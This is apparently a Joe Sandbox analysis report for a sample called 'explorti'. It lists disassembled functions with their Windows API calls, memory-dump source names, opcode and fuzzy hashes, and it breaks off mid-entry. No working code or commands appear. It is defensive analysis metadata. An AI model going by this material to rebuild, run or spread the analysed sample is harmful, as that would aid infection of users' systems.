Instruction ID: 347144b1b2beaa922c55e84fee343e807dc0025d42494b96651b1746b4f5d3be
Opcode Fuzzy Hash: 89275bb0d8604798fbc2918c92a61e9a6099f1481ee9c00a7ef422718fc48d98
Instruction Fuzzy Hash: 4ED1F770F04608AFDF14BB68DD4A79E7B71AB82324F94428CE415673D2DB755E808BD2

Function 00936E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00936E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00936E7D
__dosmaperr.LIBCMT ref: 00936F12

Part of subcall function 00937177: __dosmaperr.LIBCMT ref: 009371AC

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 7f048e9a6edcc284a541c48a5301e9fff00aa0fd113f2571b809215d9ef554c4
Instruction ID: 228cb9ee0289adf02956408ffd02a108e1f094b2afdc9ef624800fb12bbe92df
Opcode Fuzzy Hash: 7f048e9a6edcc284a541c48a5301e9fff00aa0fd113f2571b809215d9ef554c4
Instruction Fuzzy Hash: 9C413EB6900644BBDB24EFB5EC45AAFBBF9EF89300B10852DF556D3611E630A904CF61

Function 00936C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 668004a4b02bb5c9430cb01bbee03501a4d6ce81257d9663dab29cf330574ad9
Instruction ID: 91a530b9bc4c696cbf4c1812b8b9c3687b2dfae5c293b28a48000f2cfe1cd1f7
Opcode Fuzzy Hash: 668004a4b02bb5c9430cb01bbee03501a4d6ce81257d9663dab29cf330574ad9
Instruction Fuzzy Hash: 9021FC72A052087AEB217BA49C46B9F772D9F81778F618310F9343B1D1DBB06E059EA1

Function 009082B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00908454

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: b8b7540a06fc37bf799553978c24fb967937a491642b6f0e470872ce04728678
Instruction ID: 4256cae169f4e81746e65dc764447509d66cd66e131bf70e410a290397a21a5d
Opcode Fuzzy Hash: b8b7540a06fc37bf799553978c24fb967937a491642b6f0e470872ce04728678
Instruction Fuzzy Hash: 95511870A14209AFDB14EB68CD497EEB775DF85310F5042A8E848A72D1EF359AC48F91

Function 00936F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00936FB3

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: bf155754a4e6da2fe77f9109489f3f8f653d97f5dcd1b17b56dbbc3e6cf9d6ed
Instruction ID: 27ba9a5fc6ec4faeba0f4a6b1f60923e6cce5ada58414997151757fd1cb79f58
Opcode Fuzzy Hash: bf155754a4e6da2fe77f9109489f3f8f653d97f5dcd1b17b56dbbc3e6cf9d6ed
Instruction Fuzzy Hash: 8F11D6B290020CBBDB10DA95D988EDFB7BDAF49310F609266E511E6180EB34EB44CB61

Function 0093AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,B1F61A05,?,?,0091D32C,B1F61A05,?,009178FB,?,?,?,?,?,?,00907435,?), ref: 0093AF3D

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 061409fcb37565e482aa54e1989f3404f1ddac0b9462bd316785d4debf6925d0
Instruction ID: 428cbe71aed1b13e4e77cc2ebef33122d89f37e0ce167a356ee304c5636a6b9f
Opcode Fuzzy Hash: 061409fcb37565e482aa54e1989f3404f1ddac0b9462bd316785d4debf6925d0
Instruction Fuzzy Hash: EDE022B220E22166EB2032666C01B6B7A8C8F817B1F251060ECD4A20E0CF64CC009EF3

Function 00916AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00916B65

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bb61e35a9a4cce2fe1ef5ff3cfd095e2e721e0a79102e0cbcd200124bfd28e33
Instruction ID: 9a01d53dd977e1d7fd4a017420effc53d67aa7cc8a0fcdccc0a8e520ca6676ff
Opcode Fuzzy Hash: bb61e35a9a4cce2fe1ef5ff3cfd095e2e721e0a79102e0cbcd200124bfd28e33
Instruction Fuzzy Hash: 53F0A471F54A08BBC700BBB89D07B5EBB75EB87764F810358E821672E1DA745A009BD2

Function 05300BF4 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7020a83fcb416f821ff51348cacbb02c900069d359eeaa88a072918f55b5f4
Instruction ID: 04af4988aef22c235a2c007998dd52bae572d17ff67610d8b705c7e3842bc183
Opcode Fuzzy Hash: be7020a83fcb416f821ff51348cacbb02c900069d359eeaa88a072918f55b5f4
Instruction Fuzzy Hash: D7218EFF00C340AEA206C5516B387B57B6FF5D73303B14467F446CA582D2950E8A5671

Function 05300C46 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362ceae293e8556a8472d83b137e7341cd2c3e0aba8116330d74602a034f245a
Instruction ID: 14db703a715d311560a096ddbe4925b9d49926bac008b49e6384946b7e230eef
Opcode Fuzzy Hash: 362ceae293e8556a8472d83b137e7341cd2c3e0aba8116330d74602a034f245a
Instruction Fuzzy Hash: BC118EEF04C211BD710AD5856B28BBB7AAFE1C63303B19426F847C6941E2A44A4A6571

Function 05300C61 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe2a77e2106ff502cb2f8016c23810944f46ee9b3b3e6c1766901fe31417ce60
Instruction ID: 2842a7fcf6e3e1941180ac1bad695b55330240e34733559d092a7113d01aef1c
Opcode Fuzzy Hash: fe2a77e2106ff502cb2f8016c23810944f46ee9b3b3e6c1766901fe31417ce60
Instruction Fuzzy Hash: DC1148FF04C210BD6106C4856B787FA7BAFE5C63313F19427F846CA982D2A54A4A5531

Function 05300C8B Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58959a73459c3564d64a73dcb4fe8031bd03d6bc5df62794f34ff7602e61f17
Instruction ID: 6ec676d7cd2aca61ef63dc439a8f3304dd56006a52bf5fb230a7ed27b9b96805
Opcode Fuzzy Hash: f58959a73459c3564d64a73dcb4fe8031bd03d6bc5df62794f34ff7602e61f17
Instruction Fuzzy Hash: 5A0149BF04C211AEA206C9915A686BA7B6FF6D33303F1502BF443C3881D2550A59A630

Function 05300CBB Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e221769433f0016129b3968566fb5d3126f6da2e1013436c071c71e74a1f04c3
Instruction ID: 8f444600a94fc99f80d3162ddadfd6b0b43bf82ed88ac63a69afb7246e1aa9d3
Opcode Fuzzy Hash: e221769433f0016129b3968566fb5d3126f6da2e1013436c071c71e74a1f04c3
Instruction Fuzzy Hash: FDF06DEF04C211BD7106D5816B68ABA7B2FE5D63303F19423F846C6941E2A55A4A6531

Function 05300CD6 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f743afcef938dc91eed031ca8ddefc9c336d5ce0fc69e2d8e5db3d3cc3a9160
Instruction ID: ae2a4c8803b420dc638de0f99ebfff9464e2078f79fda0a1a3dc130d326755f8
Opcode Fuzzy Hash: 5f743afcef938dc91eed031ca8ddefc9c336d5ce0fc69e2d8e5db3d3cc3a9160
Instruction Fuzzy Hash: 17F0B4FF04C211BD7106D5816B68ABA7B2FF5D33303F18423F442C2941E2945A4E6531

Function 05300D00 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94c7455eb00cae4698662e28e61339f141cbeff8725ca45c45066f5f3276ee9a
Instruction ID: 41d7fd2ed064378c9993492b14afd8b372a65a23d3905e4a07e2697a49bf5542
Opcode Fuzzy Hash: 94c7455eb00cae4698662e28e61339f141cbeff8725ca45c45066f5f3276ee9a
Instruction Fuzzy Hash: EAF0A7EF04C2117D7106D5812B696B6B61FF5D73303B24433F842D2942F1C84E4E5571

Function 05300D2F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d00e770aca96489936d464fd244538158aae1bef717de230ca59b7ad34312c5
Instruction ID: e49bfd6ed15b776657d7fc0f3376c7f98b9fe7d7d9839e843c1dce0b07c9389e
Opcode Fuzzy Hash: 0d00e770aca96489936d464fd244538158aae1bef717de230ca59b7ad34312c5
Instruction Fuzzy Hash: EAE02BBF14C2006DA001D0962B686BAB72EF4D73313B14436F082C3102E2C40B0A6631

Function 05300D26 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a17b8d9893be7f3a66fcc2033c826eed42de180926f8dd5d11d9b12ffb48de01
Instruction ID: bc7b5a7afa85b9855cfa8aae6f9b9c12d77600f5faae8527af87046fa766cdb0
Opcode Fuzzy Hash: a17b8d9893be7f3a66fcc2033c826eed42de180926f8dd5d11d9b12ffb48de01
Instruction Fuzzy Hash: 1DE048EF14C2516DA142D1916B686B67B6FF5D72313B14466F482C2542E1850A4F6631

Function 05300D7F Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4104012006.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5300000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3adff6d203c2ab7e24e4c0153670c99721553ec0bca3cab03548ef119c1e6ca
Instruction ID: d1418359d2d114aff012f958ad42111523ff72c21c0c6d489c1ac9c5c6543db1
Opcode Fuzzy Hash: e3adff6d203c2ab7e24e4c0153670c99721553ec0bca3cab03548ef119c1e6ca
Instruction Fuzzy Hash: 7AE012EF29C1117E6446E0C67F68ABA666FF5D72343B05527F042C1942E689450E6634

Non-executed Functions

Function 00943068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009431E3

Strings

1#SNAN, xrefs: 0094437A
1#INF, xrefs: 0094439E
1#IND, xrefs: 00944373
1#QNAN, xrefs: 00944381

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4748f94e2179e9c985416eff218c062ec5cbe1c84acbcf2b7e51c56637c4e02f
Instruction ID: 4ca715fe97e61a6e5f0f209f56a4c4bc9c26ff7234afa16b9a935775b602c2b6
Opcode Fuzzy Hash: 4748f94e2179e9c985416eff218c062ec5cbe1c84acbcf2b7e51c56637c4e02f
Instruction Fuzzy Hash: F8C23F71E086298FDF25CE28DD40BE9B7B9EB44305F1485EAD84DE7240E779AE858F40

Function 00942BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: a9c8bc383c1dc889a1248c4e7d831731f8897a5d6048b4854deb23a424deb2a0
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 79F13071E002199FDF14CFA8C880AAEB7B5FF88314F558269E919A7385D731AE45CB90

Function 0091CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0091CE82,?,?,?,?,0091CEB7,?,?,?,?,?,?,0091C42D,?,00000001), ref: 0091CB33

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 932d764d084a72bb1b0cf7a7c3c8624578a08e175f468c71dda1eabb159cc94f
Instruction ID: f89f37a1331d2cafa0466c4cd44c1ec72c5caa1258b7b63b2609b7242efe48a9
Opcode Fuzzy Hash: 932d764d084a72bb1b0cf7a7c3c8624578a08e175f468c71dda1eabb159cc94f
Instruction Fuzzy Hash: A6D022327EA23CA3CA022BA0EC098EDBB0CAE00B507001212EC04A32208AA15C80EBD1

Function 00937D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00937EFF

Memory Dump Source

Source File: 00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000002.00000002.4097883778.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4097944945.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098191663.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000AF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000BD8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C04000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4098245631.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4099060770.0000000000C1C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100507814.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.4100543068.0000000000DC1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_900000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
